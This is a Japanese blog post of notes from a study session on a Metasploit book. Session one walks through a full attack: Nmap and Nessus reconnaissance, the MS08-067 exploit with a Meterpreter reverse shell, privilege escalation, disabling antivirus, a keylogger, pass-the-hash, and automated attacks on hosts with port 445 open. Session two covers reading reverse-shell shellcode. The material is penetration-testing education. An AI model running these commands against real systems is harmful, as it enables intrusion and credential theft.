まっちゃ445勉強会本編のメモ

テーマ:実践Metasploitな日♪

成果物(一部書籍はイメージです)

Session1:「すべらないMetasploit実演〜今日からあなたもMetasploiter!」

 NTTセキュアプラットフォーム研究所 川古谷裕平さん
・研究内容
 ・マルウエア解析技術
 ・ハニーポット技術を研究しています
 Metasploit歴は、2年くらい、Exploitモジュールをメインに使っている
 監訳作業で、理解した感じ
 アナライジングマルウエアが著書
 ・リバースエンジニアリング入門(@IT)を書いています。
  ・かなりマニアックw
・Metasploit(+実践Metasploit)の機能紹介
 全体像、実際のMetasploitのデモ
 Backtrack5を使ったデモ
・基本編、応用編、上級編(要Ruby)、付録
 使いこなす人(^o^)/
 監訳人手が上がらないwwwwww
・使い込んでるっていう人は少ないと思います。
・基本編を流し読みしてもらって、応用編で学んでもらえればと思います。
・基本編
 Metasploitの基本技術が1-6章で書かれている
 一通りの使い方が理解できる
  ・情報収集
  ・Exploitをどう使うか
  ・PostExploit(Exploitを行った後)
・応用編
 改造テクニックとかより使いやすいようにする手法
・上級編
 MetasploitはRubyで書かれているので、自分でツールを拡張やモジュールを拡張すると
 Rubyの知識が必要となる、Rubyの文法を覚えてから上級編を触るとよい
・付録A
 結構良かったところ、ターゲットのOSやアプリをどうするかというのを、記載されている
 コマンドは、すべて監訳人が検証している。
 Backtrack 14703で検証済み
 リビジョンが変わると、Metasploit本の検証が動かない?(バルカン)
 → 週くらいなら大丈夫だけど、古いとモジュールそのものがなくなったりする
   リビジョンが原書にはなかった(宮本)
・Metasploitとその周辺ツールの関係
 データベースとかが連携して動作している
 Metasploitなのか、外部ツールの機能なのかわからなくなってくる
 Metasploitユーザから、Metsploitを見ると、インターフェースから見えてくる
  Coreライブラリ+モジュール(Exploitモジュール、Auxilaryモジュール)
 ・MSFconsole
 ・MSFpayload(ユーティリティ:特定の機能のためのインターフェース)
 ・MSFencode(ユーティリティ:特定の機能のためのインターフェース)
 ・Armitage(GUI経由)
 ・MSFcli
・それ以外にも様々なツールが連携している
 ・Karma:無線LAN
 ・Fast-Track:攻撃の受動化
 ・SET:ソーシャルエンジニアリングツールキット
 → Metasploitを利用するツール
・Metasploitが使うツール
 ・Nessus
 ・NeXpose
 ・Nmap
 → Metasploitのプラグイン経由で使う
   ツールと連携するためにデータベースがある
   NessusやNmapの結果から、Metasploitから活用できる
  → スキャンから攻撃までシームレスに対応できる
   → BacktrackはMysqlサポートしていない、Postgresしかサポートしていない
     Postgres対応の構成が必要、Postgresの権限系をしっかり確認しないと動かない
     Mysqlのコンフィグがあったら動かない・・・・(ここ要注意)(宮本)
 ・BacktrackはPostgresが自動起動する、DB確認で、接続状況も確認できると思う。
・Metasploitの中を詳細に。。。
 ・ディレクトリ構成
  ・/pot/framework/msf3がroot
   ・lib:コアライブラリのRubyファイル
   ・modules
    ・Exploitが入っていたり
    ・Auxualryはその他のファイルが入っている
    ・Sniffer,Scannerとか入っている
   ・Post
    PostExloitが入っているモジュール
   ・Payload
    Exploitと一緒に使うShellコード、制御乗っ取った後に一番最初に動かすペイロードは何?ってやつ
   ・Script
    Metapriter:制御を乗っ取った後に、ターゲットとのセッションを張ってその上で動かせるもの
ペネトレーションテストの3つのステップ
 ・情報収集
  どういうマシンが入っているのか情報収集
  ・インテリジェンスギャザリング
  ・脆弱性スキャン
 ・Exploit(制御を奪うまで)
  まず最初に一歩。制御を奪う手法
  ・サーバサイド攻撃
  ・クライアントサイド攻撃
 ・ポストExploit
  Exploitした後に被害を広げる攻撃
  ・Meterperter
  ・cmd.exe
・デモ
 ・情報収集
  外部のツールに頼っているところがある、外部ツールの結果を利用する
  そのための連携の糊付けの仕組みとして、データベースを持っている
  NessusやNmapの結果をデータベースに保存、Metasploitがデータベースから対象情報を取得
   msfconsoleで管理画面を起動
   → そこから、nmapとかを起動
     まずdb status でデータベースが接続されているか確認
     DBにnmapのデータを入れるために・・・
 ・db_nmap -sS xxx.xxx.xxx.xxx で実行
  hostsと打つと、情報が格納されているホスト一覧が出る
  servicesでポート情報が出る
  vulnsは、Nessusの結果で情報が入ってくる
 ・Nessusを利用して脆弱性スキャン
  Nessusをインストールを実施
  Scanでターゲットのレンジ等を設定してスキャンを実施する
  スキャンが完了するとレポートに脆弱性があるか確認できる
  Metasploitの機能じゃなく、Nessusの機能
 ・Metasploitと連携するときは、Download Metasploitを実施して、XMLで保存する
  nessus_report_demo1_nessusというファイルができる
  db_import nessus_report_demo1.nessusでインポートができる
 ・脆弱性スキャン結果がデータベースに保存される
  OSやMACアドレス等の確認ができる
  Vulnsで脆弱性情報が確認できる
  どのIPがどの脆弱性が空いているか、空いている者から自動的に攻撃ストーリーを作ることができる
・実際のExploit
 サーバサイドExloit
 ・モジュール検索
  ・search [keyword]でモジュール名を出力してくれる
   search MS11_011とか
  ・use [モジュール名]でモジュールを利用可能
   info モジュール詳細情報が出る
  ・show Exploits
   Show auxilary
   show options
   show payloads
   show targes
  ・exloitで、バックグラウンドでセッションが確立する
   set unsetでオプションを設定
   ShowオプションでRequiredがYESになっている者は必須でオプション設定が必要
   PAYLOAD、RHOST/RPORTがだいたい設定必要
   LHOSTS/LPORTはペイロードによって必要
  ・exploitでセッションを確立、-jでバックグラウンドでセッションを確立
   -jがないと、フォアグラウンドで、セッションが有効化する
   一度に大量のマシンに攻撃したい場合は、-jでバックグラウンド化する
 use exploit/windows/smb/ms08_067_netapi
 show opstionsでオプションの有無を確認
 set RHOST xxx.xxx.xxx.xxxで攻撃先のIPを設定(RHOSTS)オプションを設定
 set PAYLOAD windows/meterpreter/reverse_tcpを設定
 show opstionsで、自分のIP(LHOSTS)を設定
  Payloadで設定項目がある
 explotで実行すれば、攻撃が実行して、Metapreterでコマンドが返ってくると成功
  コンピュータを操作できる状態
  ここまでがExploitのフェーズ
・postexploit
 metapreterがPostExploitのメインのツール
 攻撃が成功すると、Metapreterのセッションが起動して、セッションが確立する
 PostExploitモジュールが色々格納されている、乗っ取ったターゲットを侵害して
 乗っ取ったマシンを起点として、次の攻撃をしていくためのツール
・Metapreterコマンド抜粋(6章)
 ・ps:プロセス一覧
 ・migrate:帰属するプロセスを変える(どのプロセスにMeterpriterを埋め込むか?)
  IE脆弱性の場合、IEを閉じればセッションが終了する、Migrateで安定したプロセスに移行できる
 ・use priv/getsystemでシステム権限を取得
 ・run killavでアンチウイルスFireWallを無効化
 ・run checkvmでVM環境かチェック
 ・run VNCVNC接続する
・デモ
 Metapreterのデモ
 乗っ取った後に侵害されたのちに、同攻撃していくか
 社内マシンの1台から、社内ネットワークに攻撃してく
 ・sysinfoで乗っ取ったマシンの情報を確認できる
  get pidでターゲットのPIDで確立しているのか?ってのを確認できる
  psコマンドで、ターゲットのプロセス一覧を確認できる
  svchost.exeなので、安定
   migrate 4088(explorer.exeのプロセスID)でプロセスを移す
   より安定したプロセスに移ることで、セッションを長く安定的に確保する
 ・use privやgetsystemでシステム権限を確認できる
 ・checkvmでVM環境か確認可能
 ・screenshotコマンドで画面を確保できる
 ・run post/windows/capture/keylog_recorderをするとキーロガーになる
 キーロガーも設定できる
 ピボッティング:外から中にパケットを中継したりできる
 Pass-the-hash攻撃ができる
 トークンの奪取をすることで、パスワードなしで侵入が可能
・手動のをリソースして自動化するデモ
 1台だけの攻撃を3台でも自動的に攻撃ができるデモ
 Scriptファイル
 → nmapをして、Port445があいているなら
 → MS08_067攻撃する
 → PostExploitですくりんショットを撮るという動き
  Metapreterのセッションから、すくりんショットを撮っていく
・Metasploit作った人も言っているけど、攻撃が自動化されて、簡単にできるってのがわかったと思う
 当たり前だけど悪用するな!
 → 一同(笑)

Session2:「できるシェルコード解析〜シェルコードを見るだけの簡単なお仕事」

 NTTセキュアプラットフォーム研究所 岩村誠さん
・原著にはないパート(付録C)を書き下ろした。
岩村誠、NTTむあさしの研究所
 普段の仕事は、マルウエア対策の研究開発
 ハニーポット、マルウエア解析
 @ITリバースエンジニアリング入門とか
・@ITのリバースエンジニアリング入門を書いている
 話したい以上のことが書かれている、リバースエンジニアリングといい
  マルウエアを解析すると、重くて心が折れるので、Shellコードが小さいので
  それを解析できるようになろう!って感じで書いている(全7回)
 ・ツールの紹介、Shellコードを理解する上での知識
  PEフォーマットの説明とか
・付録Cのシェルコードを読み解くのお話
 Metasploitには多くのShellコードが存在
 多くはマシン語で書かれている
 何をするのかは、Descriptionに書かれてるけど
  悪さしているのか?ってのを確認するためのスキル
 ・ハニーポットでシェルコードが飛び込んでくるけど、Metasploitのシェルコードならいいけど
  知らないのが出てきたら、何をするのかを確認するためのもの
  Metasploitは品質は高いシェルコード、マルウエアと違ってサイズが小さい(短編集を読むような感じ)
  読みながら、達成感を得られるものw
・第18回まっちゃ445にマルウエア祭りに参加
 → アンケートが公開されるという恐るべきシステムwwww
   前回のが・・・・orz
・題材
 ・Linuxで動くx86シェルコード
  予備知識がWindowsより少なくて済む
  バックドアなMetasiplotな本物のやつ
 ・覚えることは最小限
  ・記憶領域について3つだけ
   レジスタとメモリと(ちょっと特殊なメモリ)のスタック
  ・機械語命令を10種類だけ
   mov xchg push pop inc dec mul xor int jns
  ・Linuxシステムコールを3つだけ
 ・記憶領域
  レジスタ→ 超速い記憶領域
   汎用レジスタ
    EAX,ECX,EDX,EBX
    習うより慣れろwww(バルカン)覚えるより感じろwww(との)、マシン語の音を聞けwww(岩村
    EAX32ビット、をAXにすると16ビット、AH、ALなら8ビットでアクセス可能
  メモリ
   32ビットマシンなら、4GBののっぺりした配列
  スタック
   メモリ上に用意される、後入れ先出し(LIFO)のデータ構造
   スタックのうち、データをPUSHするとつみあがっていく、x86は0番地に向かってつみあがっていく
   スタックポインタで今の一番下が書かれる
 ・機械語命令10選
  データ転送系
  ・MOVパラメータ2つとって、レジスタを2つとって、代入する
  ・XCHG、レジスタの値を交換する(EAXとEBXの値の交換を行う)
   テンポラリレジスタが必要だけど、アトミックに値を入れ替えることができる
  ・PUSH/POP
   スタックに値を出したり、取り出したりする
   PUSH EAXはスタックにEAXを保存
 ・演算系
  INC/DEC
   INC EAXにするとEAXの値が1増える
   DEC EAXにするとEAXの値が1減る
  ・MUL 掛け算
   MUL EBX
   EBX*EAXの結果をEDX:EAXへ代入
   32ビット通しの掛け算をすると、64ビットになって、EDXとEAXでうまくけたを増やす
  ・XOR 排他的論理和
   XOR EAX,EBX
   EAXとEBXの排他的論理和の結果をEAXへ代入
   0をねん出するために、XORを使う
 ・分岐
  C言語のGOTO扱い
  JNS 条件付きのジャンプ命令
   ほかにも、JMP(ジャンプ)
   レジスタの中に、フラグレジスタがあって(サインフラグ)分岐が決まる
   SF(サインフラグ)が0の時に、Labelに飛ぶ感じ
   SF(サインフラグ)は演算結果が負になった時に1になる
  INT:ソフトウエア割り込み
   INT 0x80
    ユーザモードから、Kernelモードに移すための割り込み
    ソフトウエア割り込み(0x80)を発生させる
    Linuxシステムコールを呼び出す仕組み
 ・Linuxシステムコールの呼び方
  int 0x80でシステムコールを呼び出せる
  どのシステムコールを呼んでるのか?ってのをEAXに設定
  EAXにシステムコールのIDを設定(Kernelに載っているw)
  EBX.ECX。。。に各システムコールに応じたパラメータを設定する
  これで、システムコールを呼び出す
  ・sys_socketcall
   ソケットがらみの機能を実現するシステムコール
   よくネットワークプログラムで見るSocketやBINDとかが、このシステムコールで呼び出す
   ECX以降に設定して、システムコールを呼ぶと動く
  ・sys_dup2
   Duplicateの略、ファイルディスクリプタ(開いた得たファイルディスクリプタを標準入出力につなぎ変えたいときに使う)
  ・sys_execve
   プログラム、プロセスを空間内にExeを読み込むもの
 ★これだけ!www
 ・デモ
  msfpayload -lでペイロードを確認
  シェルコードが見える(226個ある!)
  aixから、PPCとかSparcx86/windows・・・・Java等々
  ・今回は、linux/x86/shell_reverse_tcp
   乗っ取ったプロセスから、攻撃元に対してTCPセッションを張替えして、TCPセッションを標準入出力で、シェルをEXECする
   攻撃者が、netcatで待ち構えると、結果を見ることができる
  ・S(Summary)で攻撃者がどこのアドレスで待ち受けてるかっていうポート、IPとかが設定・確認できる
   ペイロード設定する際には、hostアドレスをLHOST=192.168.x.xとかでファイルに出力する
  ・IDA pro Free版を使う
=====シェルコード解析デモ======
 てか、何語?!?!?!!

ほかの方のレポート

F.Koryuさんによるレポート。鬼メモだ!!!

(matcha445)まっちゃ445勉強会#20

(matcha445)まっちゃ445勉強会#20 - Garbage Script on Goo BLOG


やまがたさん久しぶりにあった気がするw

最近、当日になって初めて、「え、今日はまっちゃ445の日だったの?」と気づいたりすることが多かったのですが、今回はひさしぶりに参加受付中に気づくことができました。(原因を探ったら、まっちゃ445のMLを受け取っていたメールアカウントが容量オーバーでメール受け取れてなかったというw)

a threadless kite - 糸の切れた凧(2012-06-30)


おやつは、シェ・シーマ 市ヶ谷本店のマンゴーロール、シューラパン、プランセス各30です。(平均@400弱)




シェ・シーマ 市ヶ谷本店のマンゴーロール

シェ・シーマ 市ヶ谷本店のシューラパン

シェ・シーマ 市ヶ谷本店のプランセス